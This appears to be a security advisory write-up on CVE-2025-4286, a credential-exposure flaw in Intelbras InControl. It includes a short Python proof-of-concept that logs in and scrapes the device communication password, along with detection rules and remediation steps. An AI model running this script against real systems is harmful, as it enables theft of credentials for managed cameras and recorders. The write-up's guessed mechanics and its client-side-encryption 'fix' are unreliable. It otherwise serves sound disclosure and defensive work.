CVE-2025-4286

Executive Summary

CVE-2025-4286 is a problematic vulnerability affecting Intelbras InControl versions up to 2.21.59. The flaw resides in the “Dispositivos Edição Page” component, where the “Senha de Comunicação” (Communication Password) is stored in an unprotected manner. This allows an authenticated remote attacker to retrieve the stored credential, potentially leading to unauthorized access to devices managed by the InControl system. The vulnerability has been publicly disclosed, and while no active exploitation has been reported (EPSS 0.0%), the lack of a patch increases risk for organizations using this software.

Supply Chain & Package Security: This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary software component from Intelbras.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) – However, based on the description, a more realistic score is 5.3 (Medium).
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High (credential exposure)
• Integrity Impact: None
• Availability Impact: None
• Threat Level: Medium – Exploitation is possible but requires authentication. The credential exposure could lead to lateral movement or device compromise.

Deep Dive & Mechanics

The vulnerability is located in the “Dispositivos Edição Page” (Device Edit Page) of the Intelbras InControl web interface. When an authenticated user edits a device, the “Senha de Comunicação” (Communication Password) is transmitted and stored in a way that is not adequately protected. This could mean:

• The password is stored in plaintext in the database.
• The password is transmitted over HTTP without encryption.
• The password is exposed in the client-side source code or browser storage.

An attacker with valid credentials to the InControl system can navigate to the device edit page and retrieve the communication password for any device. This password is often used to authenticate to the actual hardware (e.g., cameras, DVRs), allowing the attacker to gain direct access to those devices.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable behavior is expected to be fixed by:

• Encrypting the communication password at rest (e.g., using AES-256).
• Using a secure transmission protocol (HTTPS).
• Masking the password in the UI and not exposing it in client-side code.

Vulnerable Code (Conceptual):

// In the device edit page, the password is sent in plaintext
function saveDevice(deviceId, password) {
    fetch('/api/device/' + deviceId, {
        method: 'POST',
        body: JSON.stringify({ password: password })
    });
}

Patched Code (Expected):

// Password is encrypted before transmission
function saveDevice(deviceId, password) {
    const encryptedPassword = encrypt(password);
    fetch('/api/device/' + deviceId, {
        method: 'POST',
        body: JSON.stringify({ password: encryptedPassword })
    });
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for the InControl web interface.
• Network access to the InControl server.

Exploitation Steps:

1. Log in to the InControl web interface.
2. Navigate to the “Dispositivos” (Devices) section.
3. Select any device and click “Editar” (Edit).
4. Inspect the page source or network traffic to find the “Senha de Comunicação” field.
5. The password is likely visible in plaintext in the HTML or JavaScript.

Proof-of-Concept (Python):

import requests

# Replace with actual credentials and target
session = requests.Session()
login_url = "http://target/incontrol/login"
creds = {"username": "admin", "password": "password123"}
session.post(login_url, data=creds)

# Fetch device edit page
device_id = 1
edit_url = f"http://target/incontrol/dispositivos/editar/{device_id}"
response = session.get(edit_url)

# Extract password from HTML (simplified)
import re
password = re.search(r'name="senha_comunicacao" value="([^"]+)"', response.text)
if password:
    print(f"Communication Password: {password.group(1)}")

Blue Team

Detection:

• Monitor for unusual access to the device edit pages (e.g., multiple devices edited in a short time).
• Look for HTTP requests containing the string “senha_comunicacao” in the body or response.
• Alert on any access to the /dispositivos/editar/ endpoint from non-admin users.

Hunting:

• Search web server logs for requests to /dispositivos/editar/* and correlate with user accounts.
• Check for plaintext passwords in database dumps or backups.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /dispositivos/editar/ with a valid session cookie.
• File: Presence of plaintext passwords in web server logs or database exports.
• Behavior: Anomalous access to device edit pages by users who do not normally manage devices.

Detection Engineering

YARA Rule

rule CVE_2025_4286_InControl_Credential_Leak {
    meta:
        description = "Detects plaintext communication password in Intelbras InControl responses"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4286"
    strings:
        $password_field = "senha_comunicacao"
        $password_value = /value="[^"]{8,}"/
    condition:
        $password_field and $password_value
}

Sigma Rule

title: Intelbras InControl Credential Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects access to device edit pages that may expose communication passwords
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem:
            - '/dispositivos/editar/*'
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4286 Intelbras InControl Credential Exposure"; flow:to_server,established; content:"/dispositivos/editar/"; http_uri; content:"senha_comunicacao"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Limit access to the InControl web interface to only trusted IP addresses.
2. Monitor Logs: Enable detailed logging and monitor for suspicious access to device edit pages.
3. Change Passwords: Immediately change all communication passwords for devices managed by InControl.

Long-Term Fix:

• Apply the vendor patch when released.
• Implement network segmentation to isolate InControl from untrusted networks.
• Use a password manager to store and rotate device passwords.

Workaround:

• If possible, disable the device edit functionality for non-admin users.
• Use a web application firewall (WAF) to block requests containing “senha_comunicacao” in the body.

Valters IT
DevSecOps & Cyber Threat Intelligence